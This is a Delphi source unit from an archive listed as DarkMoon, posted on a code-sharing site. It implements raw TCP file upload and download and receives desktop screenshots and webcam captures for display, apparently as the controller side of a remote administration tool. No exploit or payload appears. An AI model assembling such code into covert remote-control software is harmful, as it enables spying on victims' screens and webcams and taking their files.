DM5314_UExplorer.pas
资源名称:DarkMoon.rar [点击查看]
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:17k
源码类别:
Delphi控件源码
开发平台:
Delphi
- unit DM5314_UExplorer;
- interface
- uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- Dialogs,WinSock,DM5314_UCommandsAndUtils;
- procedure Init_Winsock ();
- procedure CleanUP_winsock();
- procedure ICDownloadFile(SaveFile : string; Port : string);
- procedure ICUploadFile ( OpenFile : string; Port : string );
- function DownloadDataListen(SaveFile : string; Port : string):string;
- Function DownloadDataConnect(SaveFile : string ;Ipadress : string; PORT : string): string ;
- procedure GetUpload(OpenFile : String;Ipadress : string; port : string) ;
- procedure GetDownload(SaveFile : string ;Ipadress : string; port : string) ;
- function DownloadScreenShotConnect(SaveFile : string ;Ipadress : string; PORT : string): string ;
- procedure DownloadScreenshotListen(SaveFile : string; Port : string);
- procedure TypeofCapture (value : integer);
- var
- wsa_Data : WSADATA;
- nErrorStatus : integer;
- Abortar : Boolean = FALSE;
- HorzRes, VertRes: Word;
- TypeCapture : integer;
- implementation
- uses Mainform,UfrmCapture;
- procedure TypeofCapture (value : integer);
- begin
- TypeCapture :=value;
- end;
- procedure GetResJpg(JPGFile: string);
- const
- BufferSize = 50;
- var
- Buffer: string;
- Index: integer;
- FileStream: TFileStream;
- DP: Byte;
- Measure: string;
- begin
- FileStream := TFileStream.Create(JPGFile,
- fmOpenReadWrite);
- try
- SetLength(Buffer, BufferSize);
- FileStream.Read(buffer[1], BufferSize);
- Index := Pos('JFIF' + #$00, buffer);
- if Index > 0 then
- begin
- FileStream.Seek(Index + 6, soFromBeginning);
- FileStream.Read(DP, 1);
- case DP of
- 1: Measure := 'DPI'; //Dots Per Inch
- 2: Measure := 'DPC'; //Dots Per Cm.
- end;
- FileStream.Read(HorzRes, 2); // x axis
- HorzRes := Swap(HorzRes);
- FileStream.Read(VertRes, 2); // y axis
- VertRes := Swap(VertRes);
- end
- finally
- FileStream.Free;
- end;
- end;
- function DownloadScreenShotConnect(SaveFile : string ;Ipadress : string; PORT : string): string ;
- var addr : TSockAddrIn;
- addrserver : TSockAddrIn;
- BytesRead, sinsize : Integer;
- client : TSocket;
- a : THandle;
- Buffer : array [ 1..2048 ] of Char;
- BytesWrite : DWORD;
- FileStatus : Boolean;
- Data : string;
- begin
- Client := socket(AF_INET, SOCK_STREAM, 0);
- if (Client <> INVALID_SOCKET) THEN BEGIN
- addr.sin_family := AF_INET;
- addr.sin_port := 0;
- addr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
- halt;
- end;
- addrserver.sin_family := AF_INET;
- addrserver.sin_port := htons(strtoint(PORT));
- addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
- if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
- //messagebox(0,'dddddddddddd','ddddddddd',0);
- end;
- BytesWrite := 0;
- try
- a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
- except
- CloseSocket(Client );
- Exit;
- end;
- repeat BytesRead := Recv( client, Buffer, SizeOf( Buffer ), 0 );
- FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
- if TypeCapture=0 then begin
- frmMain.ProgressBarDesk.Position:=frmMain.ProgressBarDesk.Position + 2;
- end
- else
- begin
- frmMain.ProgressBarCam.Position:=frmMain.ProgressBarCam.Position + 2;
- end;
- Data:=Data + Buffer ;
- until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
- CloseHandle( a );
- try CloseSocket( client ); except end;
- Abortar := FALSE;
- if TypeCapture=0 then begin
- if FileExists('Screenshotsdesk.jpg') then begin
- frmMain.ProgressBarDesk.position:=frmMain.ProgressBarDesk.Max;
- frmMain.ImgScreenshot.Picture.LoadFromFile(GetLocalPath +'Screenshotsdesk.jpg');
- end;
- end
- else
- begin
- if FileExists('Screenshotscam.jpg') then begin
- frmMain.ProgressBarCam.position:=frmMain.ProgressBarCam.Max;
- frmMain.ImgWebcam.Picture.LoadFromFile(GetLocalPath +'Screenshotscam.jpg');
- end;
- end;
- result:=Data;
- end;
- procedure DownloadScreenshotListen(SaveFile : string; Port : string);
- var addr : TSockAddrIn;
- BytesRead, sinsize : Integer;
- sock, cliente : TSocket;
- a : THandle;
- Buffer : array [ 1..2048 ] of Char;
- BytesWrite : DWORD;
- FileStatus : Boolean;
- begin
- addr.sin_family := AF_INET;
- addr.sin_port := htons(strtoint(PORT));
- addr.sin_addr.S_addr := INADDR_ANY;
- //Abre el socket
- sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
- Exit;
- if Listen(sock, 1) = SOCKET_ERROR then
- Exit;
- //Espera una conexion
- sinsize := SizeOf( addr );
- cliente := Accept( sock, @addr, @sinsize );
- BytesWrite := 0;
- try
- a := CreateFile( PChar( SaveFile ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
- // Server_Send('9^Uploading File: ' + GetFileName(SaveFile)+ '^');
- except
- CloseSocket( sock );
- Exit;
- end;
- repeat BytesRead := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
- FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
- if TypeCapture=0 then begin
- frmMain.ProgressBarDesk.Position:=frmMain.ProgressBarDesk.Position + 2;
- end
- else
- begin
- frmMain.ProgressBarCam.Position:=frmMain.ProgressBarCam.Position + 2;
- end;
- until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
- CloseHandle( a );
- try CloseSocket( cliente ); except end;
- try CloseSocket( sock ); except end;
- Abortar := FALSE;
- if TypeCapture=0 then begin
- if FileExists('Screenshotsdesk.jpg') then begin
- frmMain.ProgressBarDesk.position:=frmMain.ProgressBarDesk.Max;
- frmMain.ImgScreenshot.Picture.LoadFromFile(GetLocalPath +'Screenshotsdesk.jpg');
- end;
- end
- else
- begin
- if FileExists('Screenshotscam.jpg') then begin
- frmMain.ProgressBarCam.position:=frmMain.ProgressBarCam.Max;
- frmMain.ImgWebcam.Picture.LoadFromFile(GetLocalPath +'Screenshotscam.jpg');
- end;
- end;
- end;
- procedure GetDownload(SaveFile : string ;Ipadress : string; PORT : string) ;
- var addr : TSockAddrIn;
- addrserver : TSockAddrIn;
- BytesRead, sinsize : Integer;
- client : TSocket;
- a : THandle;
- Buffer : array [ 1..2048 ] of Char;
- BytesWrite : DWORD;
- FileStatus : Boolean;
- begin
- Client := socket(AF_INET, SOCK_STREAM, 0);
- if (Client <> INVALID_SOCKET) THEN BEGIN
- addr.sin_family := AF_INET;
- addr.sin_port := 0;
- addr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
- halt;
- end;
- addrserver.sin_family := AF_INET;
- addrserver.sin_port := htons(strtoint(PORT));
- addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
- if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
- //messagebox(0,'dddddddddddd','ddddddddd',0);
- end;
- BytesWrite := 0;
- try
- a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
- except
- CloseSocket(Client );
- Exit;
- end;
- repeat BytesRead := Recv( client, Buffer, SizeOf( Buffer ), 0 );
- FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
- frmMain.ProgressBarExplorer.Position:=frmMain.ProgressBarExplorer.Position+ 2;
- until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
- CloseHandle( a );
- try CloseSocket( client ); except end;
- Abortar := FALSE;
- end;
- procedure GetUpload(OpenFile : String;Ipadress : string; PORT : string) ;
- var addr : TSockAddrIn;
- addrserver : TSockAddrIn;
- sinsize : Integer;
- sock, client : TSocket;
- a : THandle;
- Archivo : THandle;
- Buffer : array [ 1..1024 ] of Char;
- FileStatus : Boolean;
- BytesRead : DWord;
- Error : Boolean;
- size : longint ;
- f : file ;
- begin
- Client := socket(AF_INET, SOCK_STREAM, 0);
- if (Client <> INVALID_SOCKET) THEN BEGIN
- addr.sin_family := AF_INET;
- addr.sin_port := 0;
- addr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
- halt;
- end;
- addrserver.sin_family := AF_INET;
- addrserver.sin_port := htons(strtoint(port));
- addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
- if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
- //messagebox(0,'dddddddddddd','ddddddddd',0);
- end;
- try
- AssignFile(f, OpenFile);
- Reset(f);
- try
- size :=FileSize(f)*128 div 1024;
- frmMain.lblFTPSize.Caption:= inttostr(size);
- frmMain.ProgressBarExplorer.Max:=size;
- if size<1 then begin
- frmMain.ProgressBarExplorer.Max:=1;
- end;
- finally
- CloseFile(f);
- end;
- Archivo := CreateFile( PChar( OpenFile ),
- GENERIC_READ,
- 0, nil,
- OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL, 0);
- SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
- except
- CloseSocket( sock );
- Exit;
- end;
- repeat
- Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
- Send(Client, Buffer, BytesRead, 0);
- frmMain.ProgressBarExplorer.Position:= frmMain.ProgressBarExplorer.Position +1;
- until ( Error ) and ( BytesRead = 0 );
- CloseHandle( Archivo );
- try CloseSocket( client ); except end;
- Abortar := FALSE;
- end;
- procedure ICUploadFile ( OpenFile : string; Port : string );
- //The server should send a file to the client
- var addr : TSockAddrIn;
- sinsize : Integer;
- sock,cliente : TSocket;
- Archivo : THandle;
- Buffer : array [ 1..1024 ] of Char;
- BytesRead : DWord;
- Error : Boolean;
- size : longint ;
- f : file ;
- begin
- addr.sin_family := AF_INET;
- addr.sin_port := htons(strtoint(PORT) );
- addr.sin_addr.S_addr := INADDR_ANY;
- //Open the socket
- sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
- Exit;
- if Listen(sock, 1) = SOCKET_ERROR then
- begin
- try CloseSocket( Sock ); except end;
- Exit;
- end;
- //Espera una conexion
- sinsize := SizeOf( addr );
- cliente := Accept( sock, @addr, @sinsize );
- try
- AssignFile(f, OpenFile);
- Reset(f);
- try
- size :=FileSize(f)*128 div 1024;
- frmMain.lblFTPSize.Caption:= inttostr(size);
- frmMain.ProgressBarExplorer.Max:=size;
- if size<1 then begin
- frmMain.ProgressBarExplorer.Max:=1;
- end;
- finally
- CloseFile(f);
- end;
- Archivo := CreateFile( PChar( OpenFile ),
- GENERIC_READ,
- 0, nil,
- OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL, 0);
- SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
- // Server_Send('9^Downloading File: ' + GetFileName(OpenFile) + '^');
- except
- CloseSocket( sock );
- Exit;
- end;
- Sleep( 150 );
- repeat
- Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
- Send( cliente, Buffer, BytesRead, 0);
- frmMain.ProgressBarExplorer.Position:= frmMain.ProgressBarExplorer.Position +1
- until ( Error ) and ( BytesRead = 0 );
- // Server_Send('9^File Downloaded: ' + GetFileName(OpenFile) + '^') ;
- CloseHandle( Archivo );
- try CloseSocket( cliente ); except end;
- try CloseSocket( sock ); except end;
- Abortar := FALSE;
- end;
- function DownloadDataConnect(SaveFile : string ;Ipadress : string; PORT : string): string ;
- var addr : TSockAddrIn;
- addrserver : TSockAddrIn;
- BytesRead, sinsize : Integer;
- client : TSocket;
- a : THandle;
- Buffer : array [ 1..2048 ] of Char;
- BytesWrite : DWORD;
- FileStatus : Boolean;
- Data : string;
- begin
- Client := socket(AF_INET, SOCK_STREAM, 0);
- if (Client <> INVALID_SOCKET) THEN BEGIN
- addr.sin_family := AF_INET;
- addr.sin_port := 0;
- addr.sin_addr.s_addr := htonl(INADDR_ANY);
- end;
- if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
- halt;
- end;
- addrserver.sin_family := AF_INET;
- addrserver.sin_port := htons(strtoint(PORT));
- addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));
- if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
- //messagebox(0,'dddddddddddd','ddddddddd',0);
- end;
- BytesWrite := 0;
- try
- a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
- except
- CloseSocket(Client );
- Exit;
- end;
- repeat BytesRead := Recv( client, Buffer, SizeOf( Buffer ), 0 );
- FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
- Data:=Data + Buffer ;
- until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
- CloseHandle( a );
- try CloseSocket( client ); except end;
- Abortar := FALSE;
- result:=Data;
- end;
- function DownloadDataListen(SaveFile : string; Port : string):string;
- var addr : TSockAddrIn;
- BytesRead, sinsize : Integer;
- sock, cliente : TSocket;
- a : THandle;
- Buffer : array [ 1..2048 ] of Char;
- BytesWrite : DWORD;
- FileStatus : Boolean;
- data : string;
- begin
- addr.sin_family := AF_INET;
- addr.sin_port := htons(strtoint(PORT));
- addr.sin_addr.S_addr := INADDR_ANY;
- //Abre el socket
- sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
- Exit;
- if Listen(sock, 1) = SOCKET_ERROR then
- Exit;
- //Espera una conexion
- sinsize := SizeOf( addr );
- cliente := Accept( sock, @addr, @sinsize );
- BytesWrite := 0;
- try
- a := CreateFile( PChar( SaveFile ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
- // Server_Send('9^Uploading File: ' + GetFileName(SaveFile)+ '^');
- except
- CloseSocket( sock );
- Exit;
- end;
- repeat BytesRead := Recv ( cliente, Buffer, SizeOf( Buffer ), 0 );
- FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
- data:=data + Buffer;
- until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
- CloseHandle( a );
- try CloseSocket( cliente ); except end;
- try CloseSocket( sock ); except end;
- Abortar := FALSE;
- result:=data;
- end;
- procedure ICDownloadFile(SaveFile : string; Port : string);
- var addr : TSockAddrIn;
- BytesRead, sinsize : Integer;
- sock, cliente : TSocket;
- a : THandle;
- Buffer : array [ 1..2048 ] of Char;
- BytesWrite : DWORD;
- FileStatus : Boolean;
- begin
- addr.sin_family := AF_INET;
- addr.sin_port := htons(strtoint(PORT));
- addr.sin_addr.S_addr := INADDR_ANY;
- //Abre el socket
- sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
- Exit;
- if Listen(sock, 1) = SOCKET_ERROR then
- Exit;
- //Espera una conexion
- sinsize := SizeOf( addr );
- cliente := Accept( sock, @addr, @sinsize );
- BytesWrite := 0;
- try
- a := CreateFile( PChar( SaveFile ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
- // Server_Send('9^Uploading File: ' + GetFileName(SaveFile)+ '^');
- except
- CloseSocket( sock );
- Exit;
- end;
- repeat BytesRead := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
- FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
- frmMain.ProgressBarExplorer.Position:=frmMain.ProgressBarExplorer.Position + 2;
- until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
- CloseHandle( a );
- try CloseSocket( cliente ); except end;
- try CloseSocket( sock ); except end;
- Abortar := FALSE;
- end;
- procedure init_winsock ();
- begin
- nErrorStatus := WSAStartup($101, wsa_Data);
- if (nErrorStatus <> 0) then begin
- //WSAGetLastError()
- messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
- halt;
- end;
- end;
- procedure CleanUP_winsock();
- begin
- WSACleanup(); // terminate WinSock uses
- end;
- end.